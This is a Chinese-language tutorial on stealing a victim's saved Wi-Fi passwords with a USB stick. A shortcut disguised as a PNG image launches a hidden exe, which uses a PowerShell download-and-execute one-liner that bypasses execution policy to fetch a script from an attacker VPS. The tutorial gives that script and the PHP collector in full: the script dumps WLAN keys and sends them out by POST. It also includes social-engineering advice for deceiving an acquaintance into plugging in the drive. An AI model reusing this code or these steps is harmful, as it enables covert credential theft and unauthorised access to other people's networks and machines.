简介
看到一篇文章,描述的是如何利用microSD卡进行入侵,作者的思路是利用“庆祝生日”的名义,给受害者邮寄SD卡。SD卡有预先制作好的图片,受害者一旦打开就可以触发Powershell脚本连接作者的云服务器,然后下载服务器端存储的powershell脚本执行,把受害者的wifi账号密码信息反馈回服务器。同时受害者的电脑上会弹出隐藏的真实图片用以伪装。原文链接:
https://null-byte.wonderhowto.com/how-to/hack-anyones-wi-fi-password-using-birthday-card-part-1-creating-payload-0183043/
这篇文章对他/她的这种思路进行总结改进,并把攻击媒介改成USB(因为很常用),通过把快捷方式伪装成png图片的形式,引诱用户点开中招。本文介绍的方法更容易得手。
原理
我们简要阐述一下原理:
- 攻击情景
- 部署云服务器
- 制作USB
- 攻击
- 引诱受害者/或自己打开图片
- 拿到受害者wifi信息
- 拔出USB完成攻击
攻击情景
社工攻击:假设你的小迷妹-小V正用崇拜的眼神看着你,听你讲解自己的“传奇故事”,然后你迫不及待地想要展示下自己刚入坑穿越机时制作的AI穿越机(别问我为什么是穿越机,AlphaPilot都是泪),然后你一本正经地说要给她看一张图片,咳咳,然后USB插上她的windows surfacebook(这里的讲述方法只对windows机器有效)。你打开图片,她看到后露出一脸惊讶的表情,然后你自然地拔出USB,到这一步入侵完成~~
部署云服务器
这里不多说了,租一个免费VPS都是可以的,不用多高的存储空间和性能,这里用A社服务器来举例吧,windows用户注意把密钥的owner改成自己,删除所有其他权限,然后:
ssh -i "你的密钥.pem" ubuntu@*你的VPS.IP*
安装PHP:
sudo apt-get update && sudo apt-get install php
停止Apache服务来防止占用PHP端口:
sudo apachectl stop
创建文件夹:
mkdir phpServer
cd进去,然后编辑index.php:
cd phpServer
sudo nano index.php
输入以下内容:
<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("YmdHisms") . ".credz";
file_put_contents($file, file_get_contents("php://input"));
?>
这是个很简单PHP服务器,当你的服务器收到受害者wifi信息时会保存到一个.credz文件内
开启PHP服务器:
sudo php -S 0.0.0.0:80 &
在你的本地主机命令行输入:
curl --data "test for php server!" http://Your-VPS-IP-Here/index.php
(把Your-VPS-IP替换成你的服务器IP)
这时候云服务器phpServer目录下会生成一个credz文件:
cat *.credz
查看文件就可以了
制作远程powershell脚本payload.ps1:
Add-Type -AssemblyName System.Web;
$yourVPS="http://YOUR-VPS-IP-HERE/index.php";
$SDname = (gwmi win32_volume -f 'label=''SD-CARD-NAME-HERE''').Name;
Invoke-Item -Path ("$SDname" + "REAL-IMAGE-NAME-HERE.png");
Foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\ProgramData\Microsoft\Wlansvc\Profiles","*.xml","AllDirectories")) {
Try {
$oXml = New-Object System.XML.XMLDocument;
$oXml.Load($path);
$ssid = $oXml.WLANProfile.SSIDConfig.SSID.name;
$netinfo = netsh.exe wlan show profiles name="$ssid" key=clear;
$pass = (($netinfo | Select-String -Pattern "Key Content") -split ":")[1].Trim();
$sendData += "SSID: " + ($ssid) + "`n" + "PASSWORD: " + ($pass) + "`n`n";
} Catch {}
}
Invoke-WebRequest -Uri $yourVPS -Method 'POST' -Body $sendData;
这里改三样东西:
- YOUR-VPS-IP-HERE: 改成你的云服务器IP
- REAL-IMAGE-NAME-HERE: 你的真实图片名称,这里就说是drone吧
- SD-CARD-NAME-HERE: 你的U盘名称,这里我改成了USB-C用来混淆视听
这个脚本其实呢就是我们要在受害者机器上执行的最终脚本,先是储存在服务器里的,然后用初始powershell脚本来远程下载执行。代码也很简单,就是把受害者的wifi信息发送给服务器。
windows机器的wifi信息是存储在C:\ProgramData\Microsoft\Wlansvc\Profiles\下的,不信可以自己去看。
制作USB
这里选择用一张图片作为payload
图片:
改变图片属性为隐藏,这样受害者就看不到了,然后去https://www.icoconverter.com/ 生成图片ICON,下载到U盘,然后下载B2E转换器(bat to exe converter),输入:
powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('http://YOUR-VPS-IP-HERE/payload.ps1');"
保存在本地,这里命名为drone.exe吧,注意把YOUR-VPS-IP-HERE替换成自己的云服务器地址。这段代码呢其实就是给云服务器发请求,然后远程下载前面说的powershell脚本执行。power shell的限制可以用-ExecutionPolicy Bypass解除。
把drone.exe隐藏,然后创建快捷方式,打开快捷方式的属性->目标,指向drone.exe。 快捷方式原来是lnk后缀的,重命名为drone.png。改变快捷方式icon为之前生成的图片icon,这样它就看起来和正常图片一模一样了。
(这里某个exe乱入,不好意思~~)
注意,除了重命名的快捷方式文件,其他全部改为隐藏,这样如果受害者没有开启显示隐藏文件,他/她就看不到了:
到这里我们的准备工作就结束了,开始攻击!
攻击
ssh连到自己的云服务器,开启php服务器监听80端口:
sudo php -S 0.0.0.0:80 &
如果提示错误输入:
sudo killall -9 php
杀之前的进程
引诱受害者/或自己打开图片
用社会工程学接近受害人的电脑,然后骗取他/她的同意插上USB,这时候,点开图片,图片快捷方式执行真正的隐藏exe,隐藏exe请求服务器下载powershell脚本并执行,执行后打开隐藏的真正图片让受害者以为这就是正常的图片。
然后用ctrl + C结束当前session,但是php服务器还是会在后台运行
同一目录下会保存生成新的credz文件,打开提取受害人wifi信息。
结语
这种方法要成功,要求受害者:
- 关闭显示隐藏文件
- 使用wifi网络
虽然手段很阴险,但也不是不能防范,日常生活中更要注意不要随便让熟人插入USB,因为这往往是攻击的根源。
事实上不通过这种手段我也能轻松拿到任何一个人的WiFi密码,小V在看我演示如何拿到她的wifi信息后对我好感值+100。最后各位读者遵纪守法,本文只限于讨论技术,对此之外概不负责。